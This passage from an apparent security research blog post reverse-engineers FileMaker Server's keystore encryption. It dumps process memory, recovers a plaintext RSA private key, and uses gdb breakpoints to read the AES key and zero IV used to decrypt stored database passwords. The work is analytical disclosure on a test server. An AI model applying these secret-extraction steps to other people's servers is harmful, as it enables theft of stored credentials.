&lt;p&gt;To verify, we can do &lt;code&gt;echo -n RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ= | base64 -d&lt;/code&gt; and observe the decoded data. In this case it&amp;rsquo;s &lt;code&gt;E66D7AB446804CBF86F6B0016E079714&lt;/code&gt;, which could be a &lt;a href="https://en.wikipedia.org/wiki/Universally_unique_identifier"&gt;UUID&lt;/a&gt; (16 bytes, in hexadecimal format). Of course, it could be other things, but in this context (identifying a file) it seems likely.&lt;/p&gt;
&lt;p&gt;Without knowing the details of the &lt;code&gt;fmp12&lt;/code&gt; file format, we could still quickly peak at the raw bytes of the hosted database to determine if this ID appears somewhere at the beginning of the file. And sure it does:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ xxd my_file.fmp12 | head -n 20
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
00000010: 4241 4d65 0000 1000 0000 0000 0000 0000 BAMe............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
... here it starts (16 bytes from position 250):
000000f0: 0000 0000 0000 0000 0000 e66d 7ab4 4680 ...........mz.F.
00000100: 4cbf 86f6 b001 6e07 9714 efb8 6c2e 2af4 L.....n.....l.*.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s now look at the part after the semicolon – the one that is more interesting, but currently looks like garbage.&lt;/p&gt;
&lt;p&gt;Base64-decoding the two samples from above, wee see:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ echo -n &amp;#39;9acSKigNs3IHuEikQeit1Q==&amp;#39; | base64 -d | xxd
00000000: f5a7 122a 280d b372 07b8 48a4 41e8 add5 ...*(..r..H.A...

$ echo -n &amp;#39;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x&amp;#39; | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While the data does not look useful at first sight, we can see that the first sample is 16 bytes long and the second one is 48 bytes long.&lt;/p&gt;
&lt;p&gt;Setting an EAR password to another file, uploading it and storing the password on the server, we can observe different ciphertext lengths for different plaintext lengths.&lt;/p&gt;
&lt;p&gt;If our EAR password is less than 16 bytes, we still get 16 bytes of ciphertext. If it&amp;rsquo;s greater than 16 bytes, but less than 32 bytes, we get 32 bytes of ciphertext.&lt;/p&gt;
&lt;p&gt;We can be relatively certain that the server only encrypts full blocks of 16 bytes, suggesting a block cipher with a size of 128 bits.&lt;/p&gt;
&lt;p&gt;Next, we can check if we get the same ciphertext on a different FileMaker Server installation. This is not the case, so the key is likely unique for every server.&lt;/p&gt;
&lt;p&gt;How about using the same EAR password for a different database file? Does this create a different ciphertext?&lt;/p&gt;
&lt;p&gt;After trying, we see that it does &lt;em&gt;not&lt;/em&gt; produce a different ciphertext. This means that the file identifier does not play a role in the encryption. It also means that a static key and no &lt;a href="https://en.wikipedia.org/wiki/Initialization_vector"&gt;initialization vector&lt;/a&gt; (or a static one) is used, since a different initialization vector would cause the ciphertext to be different, even if the same plaintext and key is used (assuming we have an IV and use &amp;ldquo;cipher-block chaining&amp;rdquo;; see explanation in box below).&lt;/p&gt;
&lt;p&gt;Another good test to verify this is to encrypt two EAR passwords which have the same first 16 bytes. For example:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;File 1: AAAAAAAAAAAAAAAA|AAAAAAAAAAAAAAAAAAAAAAAA
File 2: AAAAAAAAAAAAAAAA|A
 ^ 16 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On my test server these two produce the following two ciphertexts:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x
b442h3lSslgZ66HAwoSO78+E2b55R4CaKGiFSnwfUeQ=
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Or as hex:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: cf84 d9be 7947 809a 2868 854a 7c1f 51e4 ....yG..(h.J|.Q.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can clearly see that the first 16 bytes are exactly the same (just like the 16 bytes of the plaintext).&lt;/p&gt;
&lt;p&gt;Normally, you would not want your ciphertext to &amp;ldquo;leak&amp;rdquo; semantic information as shown and this is something that could certainly be improved.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 If you were to encrypt every block of data with the same key, identical blocks of plaintext would produce identical blocks of ciphertexts. One strategy to prevent this is to let the results of each block influence the next block (so-called &amp;ldquo;&lt;strong&gt;cipher-block chaining&lt;/strong&gt;&amp;rdquo;). Here, each plaintext block is XORed with the previous ciphertext block (and subsequently encrypted).&lt;br&gt;&lt;br&gt;To kickstart this process, however, you need an additional input for the first block, and this is where the &lt;strong&gt;initialization vector&lt;/strong&gt; comes in. It will be used to XOR the first plaintext.&lt;br&gt;&lt;br&gt;If you were to experiment more, you would see that cipher-block chaining is indeed used for the FMS keystore values, but with an initialization vector of all zeros. This way you still output the same ciphertext blocks for identical plaintext blocks at the beginning.&lt;br&gt;&lt;br&gt;If you like to test this for yourself you can play around with &lt;code&gt;openssl&lt;/code&gt;. For example:&lt;br&gt;&lt;code&gt;openssl enc -aes-256-cbc -in test.txt -k &amp;lt;some-key-as-hex&amp;gt; -iv 00000000000000000000000000000000 -out test.enc&lt;/code&gt;.
&lt;/div&gt;

&lt;h2 id="just-read-the-docs"&gt;Just read the docs&lt;/h2&gt;
&lt;p&gt;Whenever you have documentation available, make sure to read it. It might give you pointers on how to narrow down the space of things to try next.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://help.claris.com/en/security-guide/content/encrypt-app.html"&gt;Claris&amp;rsquo; documentation&lt;/a&gt; has a statement on how passwords are stored:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When you open an encrypted file on FileMaker Server or FileMaker Cloud, you can save the password to automatically open encrypted files when the server restarts. FileMaker employs a two-way AES-256 encryption that uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;(Unfortunately, as we will learn later, this is not entirely correct, so it&amp;rsquo;s also a good idea to second-guess/verify official information).&lt;/p&gt;
&lt;h2 id="what-do-we-know-so-far"&gt;What do we know so far?&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s recap on what we learned so far by just observing data and reading the docs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;keystore&lt;/code&gt; contains keys and values separated by semicolon&lt;/li&gt;
&lt;li&gt;Keys are just base64 encoded. Values are encrypted and base64 encoded&lt;/li&gt;
&lt;li&gt;We&amp;rsquo;re dealing with a block cipher (takes a fixed size block and outputs a block of the same size)&lt;/li&gt;
&lt;li&gt;The docs mention AES with 256-bit key&lt;/li&gt;
&lt;li&gt;A static (or no) initialization vector is used&lt;/li&gt;
&lt;li&gt;A static key is used&lt;/li&gt;
&lt;li&gt;The key is unique per installation and file IDs/properties don&amp;rsquo;t play a role here&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="a-lazy-try-just-dump-the-memory"&gt;A lazy try: just dump the memory&lt;/h2&gt;
&lt;p&gt;After looking at the data and the docs my first attempt was to test if some or all of the information of the &lt;code&gt;keystore&lt;/code&gt; can be retrieved in unencrypted form from memory. It&amp;rsquo;s unlikely we learn anything about how data is encrypted but we can check if the server cleans up secrets after use. Also, grepping through a memory dump is not a lot of effort, so you might as well give it a shot (which is why I labeled this &amp;ldquo;a lazy try&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;My test server is running on Linux and I&amp;rsquo;m using &lt;a href="https://github.com/Sysinternals/ProcDump-for-Linux"&gt;&lt;code&gt;procdump&lt;/code&gt;&lt;/a&gt; (the Linux version of the original Windows SysInternals tool).&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first figure out the process ID of &lt;code&gt;fmserverd&lt;/code&gt; with &lt;code&gt;pgrep fmserverd&lt;/code&gt; and then dump the memory with &lt;code&gt;procdump &amp;lt;pid&amp;gt;&lt;/code&gt;. The result is a dump with more than a gigabyte of size.&lt;/p&gt;
&lt;p&gt;Since we know the plaintext values that the server encrypted, we can &lt;code&gt;grep&lt;/code&gt; for these strings in the dump file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ strings fmserverd_time_2023-... | grep &amp;#39;some EAR password&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;No luck (which is a good thing, as you don&amp;rsquo;t want your secrets explosed like this). But what about the RSA private key that we expect to be the value of the key &lt;code&gt;machinePrivateKey&lt;/code&gt;?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ strings fmserverd_time_2023-04-23_14\:37\:25.1001 | grep &amp;#39;BEGIN RSA PRIVATE&amp;#39; -A10

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA27LEJB8uCqezntbENVPdrV/xTnnshR2fQPWFNr3Rcr10tjBa
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Turns out the private key is hanging out in unencrypted form in memory. Let&amp;rsquo;s check if it matches the public key file &lt;code&gt;CStore/machinePublicKey&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A quick way to do this is to extract the public key from the discovered private key and then compare it to the &lt;code&gt;machinePublicKey&lt;/code&gt; file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;openssl rsa -in machinePrivateKey.key -pubout &amp;gt; machinePublicKey.extracted
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This gives us a public key which – by looking at it – doesn&amp;rsquo;t match the one from the FileMaker Server installation. However, this is just because it&amp;rsquo;s not in PKCS#1 format like the original one. We can convert it and see that it&amp;rsquo;s a match now:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;openssl rsa -pubin -in machinePublicKey.extracted -RSAPublicKey_out -out machinePublicKey.extracted.pkcs1
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="what-now"&gt;What now?&lt;/h2&gt;
&lt;p&gt;If we only wanted to know the RSA private key, we would have succeeded by now. But even if we would also have gotten our other secrets in plaintext, it would not really help us as we still don&amp;rsquo;t understand how the values are encrypted, wouldn&amp;rsquo;t know what to search for when not knowing the plaintext, and don&amp;rsquo;t understand the memory structure.&lt;/p&gt;
&lt;p&gt;So what could be the next step? Since we are anyhow dealing with memory dumps, maybe we can find the actual AES key used to encrypt the keystore values in memory?&lt;/p&gt;
&lt;h2 id="extracting-aes-keys-from-memory"&gt;Extracting AES keys from memory&lt;/h2&gt;
&lt;p&gt;How could we possibly find what 16 or 32 bytes are an AES key when getting handed a dump of more than gigabyte of seemingly random data?&lt;/p&gt;
&lt;p&gt;When we put a key into AES, the key is actually expanded into so-called round keys (11 rounds for 128-bit keys, 15 for 256-bit keys). These round keys are needed for the encryption/decryption process and might thus be hanging around in memory. By checking the memory for random-looking (i.e. high entropy) byte sequences using a sliding window of the size of the so-called key schedule (all the roundkeys), it is possible to get a list of potential keys.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s a &lt;a href="https://www.youtube.com/watch?v=rmqWaktEpcw"&gt;good video explaining the key expansion&lt;/a&gt; and here&amp;rsquo;s &lt;a href="https://diyinfosec.medium.com/scanning-memory-for-fek-e17ca3db09c9"&gt;an article describing in more detail what options are available to extract keys from memory dumps&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Since it&amp;rsquo;s kind of a long shot anyway, I didn&amp;rsquo;t spend too much time in this phase and just ran two forensic tools over the dump. One was &lt;a href="https://github.com/simsong/bulk_extractor"&gt;bulk_extractor&lt;/a&gt; and the other &lt;a href="https://salsa.debian.org/pkg-security-team/aeskeyfind"&gt;aeskeyfind&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Using the tools is straight-forward. For example: &lt;code&gt;bulk_extractor -E aes my_dump -o extraction_output&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While the tools found some potential AES-128-bit keys, none of them were matching or weren&amp;rsquo;t even keys at all. They could have also been from the encryption/decryption routines that go on when the server encrypts/decrypts individual pages of the opened hosted databases.&lt;/p&gt;
&lt;p&gt;I tried once more to dump the memory multiple times during FMS startup with a lot of encrypted files being opened (which would require keystore values being decrypted) and also during repeated opening/closing of a file in a loop, but it obviously didn&amp;rsquo;t produce any detectable keys in the dumps.&lt;/p&gt;
&lt;p&gt;Getting the key so seemlessly by running a tool would have been nice in a way, but I&amp;rsquo;m also kind of reliefed that it wasn&amp;rsquo;t that easy :-)&lt;/p&gt;
&lt;h2 id="looking-at-what-the-program-is-doing-and-extracting-the-key"&gt;Looking at what the program is doing and extracting the key&lt;/h2&gt;
&lt;p&gt;Since the &amp;ldquo;lazier&amp;rdquo; attempts didn&amp;rsquo;t result in any new insights, let&amp;rsquo;s actually try to observe what the program (&lt;code&gt;fmserverd&lt;/code&gt;) is doing.&lt;/p&gt;
&lt;p&gt;We obviously don&amp;rsquo;t have any source code, but as the program runs on our computer, we can attach a debugger and inspect the behavior, see loaded libraries, disassemble parts of it and step through the interesting bits.&lt;/p&gt;
&lt;p&gt;I used &lt;code&gt;gdb&lt;/code&gt; on Linux and &lt;code&gt;lldb&lt;/code&gt; on macOS. Please note, that on macOS you will need to disable &lt;a href="https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection"&gt;System Integrity Protection&lt;/a&gt; (or remove the program&amp;rsquo;s code signature) to attach to a running process.&lt;/p&gt;
&lt;p&gt;On our Linux server, we can start by attaching with &lt;code&gt;gdb -p &amp;lt;pid&amp;gt;&lt;/code&gt; and on macOS with &lt;code&gt;lldb -p &amp;lt;pid&amp;gt;&lt;/code&gt;. Luckily, the binaries are not stripped of symbols, so we can see function names and of course the exports of the libraries.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first have a look at loaded libraries of a running server instance on Linux:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info sharedlibrary
From To Syms Read Shared Object Library
0x00007f5dea393a40 0x00007f5dea3f89af Yes (*) /lib/x86_64-linux-gnu/libc++.so.1
0x00007f5dea32e450 0x00007f5dea348ef0 Yes (*) /lib/x86_64-linux-gnu/libc++abi.so.1
0x00007f5de9a21ed0 0x00007f5dea09341d Yes /opt/FileMaker/lib/libFMSLib.so
0x00007f5de8f48560 0x00007f5de959d1f9 Yes /opt/FileMaker/lib/libFMEngine.so
0x00007f5de6e0fb60 0x00007f5de83bdf00 Yes /opt/FileMaker/lib/libDBEngine.so
0x00007f5de61fea20 0x00007f5de63496b9 Yes /opt/FileMaker/lib/libSupport.so
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Most interesting to us are the non-standard libaries located in &lt;code&gt;/opt/FileMaker/lib&lt;/code&gt; and of course the actual &lt;code&gt;fmserverd&lt;/code&gt; binary.&lt;/p&gt;
&lt;p&gt;The binaries come with some symbol information, so we can try to make sense of any of the contained function names.&lt;/p&gt;
&lt;p&gt;Below I&amp;rsquo;m using &lt;code&gt;objdump&lt;/code&gt; to dump the symbol table and demangle the names (we want human-readable names), and pipe the result to &lt;code&gt;less&lt;/code&gt; to easily scroll through and search in the result.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;objdump -tC &amp;lt;some binary&amp;gt; | less
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 Symbol information allows for much easier debugging, also when you don&amp;rsquo;t have the source code available (even if explicit debug symbols would not be available). I assume the binaries are intentially not stripped (i.e. contain symbols) in the release versions such that it&amp;rsquo;s possible to troubleshoot/debug weird behaviors on deployed systems (although, I guess, you could still keep them separate from the binary and then strip all unneeded in the relase version)&lt;br&gt;&lt;br&gt;If you like to see what is included in a binary and what not, you can write a small C program, compile it with &lt;code&gt;gcc&lt;/code&gt; and once include the &lt;code&gt;-g&lt;/code&gt; flag, once not include the &lt;code&gt;-g&lt;/code&gt; flag and then run &lt;code&gt;strip&lt;/code&gt; over another compiled version. For each of the three versions, you can then run the above &lt;code&gt;objdump&lt;/code&gt; command and see the difference.&lt;br&gt;&lt;br&gt;Fun fact: I later found out that I could have retrieved much more information just by inspecting all the provided symbol information, so I believe I made it a bit harder for myself and that you can arrive at the end result faster than I describe here.
&lt;/div&gt;

&lt;p&gt;Since we are interested in the keystore, we can search for names that could be related. Such terms could be &lt;code&gt;keystore&lt;/code&gt;, &lt;code&gt;EAR&lt;/code&gt;, &lt;code&gt;crypt&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;AES&lt;/code&gt;, etc.&lt;/p&gt;
&lt;p&gt;As an example, let&amp;rsquo;s say we searched for &amp;ldquo;Password&amp;rdquo; and have identified the following symbol in &lt;code&gt;libSupport&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;00000000000f9a50 g F .text 0000000000000005 Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)`.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we still have our debugger attached, we can have a look at this function from within gdb:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info address Draco::PasswordHash::ComputePasswordHashRawBytes
Symbol &amp;#34;Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)&amp;#34; is a function at address 0x7f5de6220a50.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we disassemble this function we see it&amp;rsquo;s just a jump to &lt;code&gt;PKCS5_PBKDF2_HMAC_SHA1&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas 0x7f5de6220a50
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
 0x00007f5de6220a50 &amp;lt;+0&amp;gt;: jmpq 0x7f5de61fdab0 &amp;lt;PKCS5_PBKDF2_HMAC_SHA1@plt&amp;gt;
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And what &lt;code&gt;PKCS5_PBKDF2_HMAC_SHA1&lt;/code&gt; is doing, we can just look up in the &lt;a href="https://www.openssl.org/docs/man3.1/man3/PKCS5_PBKDF2_HMAC_SHA1.html"&gt;openssl manual&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We still don&amp;rsquo;t know if this function is at all related to what we want to find out (there&amp;rsquo;s a lot of crypto stuff in FileMaker Server), but we can start taking notes and piece together information.&lt;/p&gt;
&lt;p&gt;Not every function will be as short and understandable as the above and you will either need to read a lot of assembly code or could try to figure things out using a decompiled version of the function of interest (for example with &lt;a href="https://ghidra-sre.org"&gt;Ghidra&lt;/a&gt;&amp;rsquo;s decompiler). For where we want to get to, we don&amp;rsquo;t really need a decompiler and can just skim the assembly code, so we will mostly just stay in &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once we have few ideas and an overview of interesting functions that could be related to the keystore, we can set breakpoints, continue running the program and then perform an action that we want to observe. I always used the opening of a hosted file (&lt;code&gt;fmsadmin open &amp;lt;file&amp;gt;&lt;/code&gt;) as this must read the keystore file and decrypt the EAR password.&lt;/p&gt;
&lt;p&gt;Eventually, I arrived at &lt;code&gt;Draco::Encrypt_AES_decrypt&lt;/code&gt; which is called by &lt;code&gt;Draco::KeyStorageProvider::CryptData&lt;/code&gt; (both in the Support lib) and is responsible for the decryption of the keystore values. Let&amp;rsquo;s see what we can learn when setting a breakpoint at this function (still in the attached debugger):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) b Draco::Encrypt_AES_decrypt
Breakpoint 1 at 0x7f5de61f8a40 (2 locations)
(gdb) c
Continuing.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With the breakpoint set, we can now open a file that has an EAR password stored in the keystore. As soon as the open command is sent, the program hits the breakpoint and stops:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Thread 49 &amp;#34;fmserverd&amp;#34; hit Breakpoint 1, 0x00007f5de61f8a40 in Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*)@plt ()
 from /opt/FileMaker/lib/libSupport.so
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we see the &lt;code&gt;@plt&lt;/code&gt; at the end, we need to execute one more &lt;code&gt;jmp&lt;/code&gt; into the actual function with &lt;code&gt;si&lt;/code&gt; (step one instruction).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;@plt&lt;/code&gt; stands for &amp;ldquo;procedure linkage table&amp;rdquo; and is essentially a way to point to a library function which address cannot be known in the linking stage but only dynamically be resolved at run time (as far as I understand it).&lt;/p&gt;
&lt;p&gt;Now that we are in the actual implemented function, let&amp;rsquo;s have a look what arguments are passed to it.&lt;/p&gt;
&lt;p&gt;To do this we first check the CPU registers:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info registers
rax 0x7f5dbf8f6078 140040622530680
rbx 0x7f5dbf8f5af4 140040622529268
rcx 0x20 32
rdx 0x7f5dd863d6c0 140041039107776
rsi 0x30 48
rdi 0x7f5dd80e0e90 140041033485968
rbp 0x7f5dbf8f5ff0 0x7f5dbf8f5ff0
rsp 0x7f5dbf8f5ed8 0x7f5dbf8f5ed8
r8 0x7f5dbf8f5f80 140040622530432
r9 0x0 0
r10 0x7f5dd8105b9c 140041033636764
r11 0x7f5dbf8f5cc8 140040622529736
r12 0x1 1
r13 0x3e5 997
r14 0x7f5dbf8f6040 140040622530624
r15 0x7f5dbf8f5fb0 140040622530480
rip 0x7f5de62217f0 0x7f5de62217f0 &amp;lt;Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Based on x86-64 calling conventions, we know how and in what registers functions receive their arguments from their caller (see &amp;ldquo;A.2 AMD64 Linux Kernel Conventions&amp;rdquo; in &lt;a href="https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.99.pdf"&gt;AMD64 System V Application Binary Interface&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Quoted from the linked document:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;User-level applications use as integer registers for passing the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We don&amp;rsquo;t have any parameter names but we &lt;em&gt;do&lt;/em&gt; know the signature of our discovered function (&lt;code&gt;unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*&lt;/code&gt;). So let&amp;rsquo;s map the arguments:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rdi&lt;/code&gt;: A pointer to 0x7f5dd80e0e90&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rsi&lt;/code&gt;: An integer with value 48&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt;: A pointer to 0x7f5dd863d6c0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt;: An integer with value 32&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8&lt;/code&gt;: A pointer to 0x7f5dbf8f5f80&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r9&lt;/code&gt;: Null&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since we only have 6 parameters, we don&amp;rsquo;t need to look at the stack for more.&lt;/p&gt;
&lt;p&gt;Now let&amp;rsquo;s inspect the addresses in more detail.&lt;/p&gt;
&lt;p&gt;We assume that the second and fourth parameter indicates the size of the previous parameter, as this is quite common.&lt;/p&gt;
&lt;p&gt;Checking 48 byes from address &lt;code&gt;0x7f5dd80e0e90&lt;/code&gt; (&lt;code&gt;rdi&lt;/code&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/48xb 0x7f5dd80e0e90
0x7f5dd80e0e90: 0x6f 0x8e 0x36 0x87 0x79 0x52 0xb2 0x58
0x7f5dd80e0e98: 0x19 0xeb 0xa1 0xc0 0xc2 0x84 0x8e 0xef
0x7f5dd80e0ea0: 0xe8 0xe6 0xd5 0x77 0x30 0xd0 0xee 0xc3
0x7f5dd80e0ea8: 0x4a 0x64 0x65 0x5b 0xd6 0xe4 0x46 0xb8
0x7f5dd80e0eb0: 0xfb 0x11 0x47 0x91 0x61 0xa8 0xfc 0x2b
0x7f5dd80e0eb8: 0xa5 0x44 0xb0 0xb5 0x92 0x62 0x1f 0x31
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we compare this to our encrypted EAR password that we looked at earlier, it comes out as the same sequence of bytes:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ echo -n &amp;#39;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x&amp;#39; | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can be pretty sure that this argument is the ciphertext from the keystore.&lt;/p&gt;
&lt;p&gt;What about &lt;code&gt;0x7f5dd863d6c0&lt;/code&gt; (&lt;code&gt;rdx&lt;/code&gt;)? Let check 32 bytes from there:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/32xb 0x7f5dd863d6c0
0x7f5dd863d6c0: 0xa5 0x10 0xc9 0xf2 0x24 0xde 0x97 0x1b
0x7f5dd863d6c8: 0x45 0x95 0x82 0xae 0xec 0x5b 0xc8 0x84
0x7f5dd863d6d0: 0x9c 0x9f 0xb1 0xa0 0x4c 0xe4 0xba 0x27
0x7f5dd863d6d8: 0x31 0x0d 0x03 0xf0 0xef 0x67 0xc6 0x27
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we are expecting a 256-bit key, this could be it.&lt;/p&gt;
&lt;p&gt;Now we have the values of &lt;code&gt;r8&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt; left. We don&amp;rsquo;t know about the first, but the latter is 0 (&lt;code&gt;0x00&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Since we expect AES to be used in CBC mode without an initialization vector (IV), maybe this could be the &amp;ldquo;null IV&amp;rdquo;!?&lt;/p&gt;
&lt;p&gt;We already have potentially useful information here, but let&amp;rsquo;s check what &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; is actually doing and if we can get any further hints.&lt;/p&gt;
&lt;p&gt;To do this, we can disassemble the function right from GDB:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Dump of assembler code for function Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*):
=&amp;gt; 0x00007f5de62217f0 &amp;lt;+0&amp;gt;: push %rbp
 ...
 0x00007f5de6221855 &amp;lt;+101&amp;gt;: mov %rax,%rbx
 0x00007f5de6221858 &amp;lt;+104&amp;gt;: callq 0x7f5de61f9bf0 &amp;lt;EVP_aes_128_cbc@plt&amp;gt;
 ...
 0x00007f5de622186b &amp;lt;+123&amp;gt;: callq 0x7f5de61f8d00 &amp;lt;EVP_DecryptInit_ex@plt&amp;gt;
 ...
 0x00007f5de6221881 &amp;lt;+145&amp;gt;: callq 0x7f5de61fd870 &amp;lt;EVP_DecryptUpdate@plt&amp;gt;
 ...
 0x00007f5de62218a4 &amp;lt;+180&amp;gt;: callq 0x7f5de61fc980 &amp;lt;EVP_DecryptFinal_ex@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I removed some instructions above to only show the interesting calls. GDB resolves the addresses and shows us calls to OpenSSL functions, for example &lt;a href="https://www.openssl.org/docs/manmaster/man3/EVP_aes_128_cbc.html%60"&gt;&lt;code&gt;EVP_aes_128_cbc&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We could look up the details and source code for these functions as they are publicly known.&lt;/p&gt;
&lt;p&gt;While not a big deal, it&amp;rsquo;s a bit of a surprise to see &lt;code&gt;EVP_aes_128_cbc&lt;/code&gt; as we were expecting &lt;code&gt;EVP_aes_256_cbc&lt;/code&gt; as that would match what is written in Claris&amp;rsquo; documentation.&lt;/p&gt;
&lt;p&gt;For now, we just set another breakpoint at the first and second call, &lt;code&gt;(gdb) b EVP_aes_128_cbc&lt;/code&gt; and &lt;code&gt;(gdb) b EVP_DecryptInit_ex&lt;/code&gt;, and then continue running the program (&lt;code&gt;c&lt;/code&gt;).&lt;/p&gt;
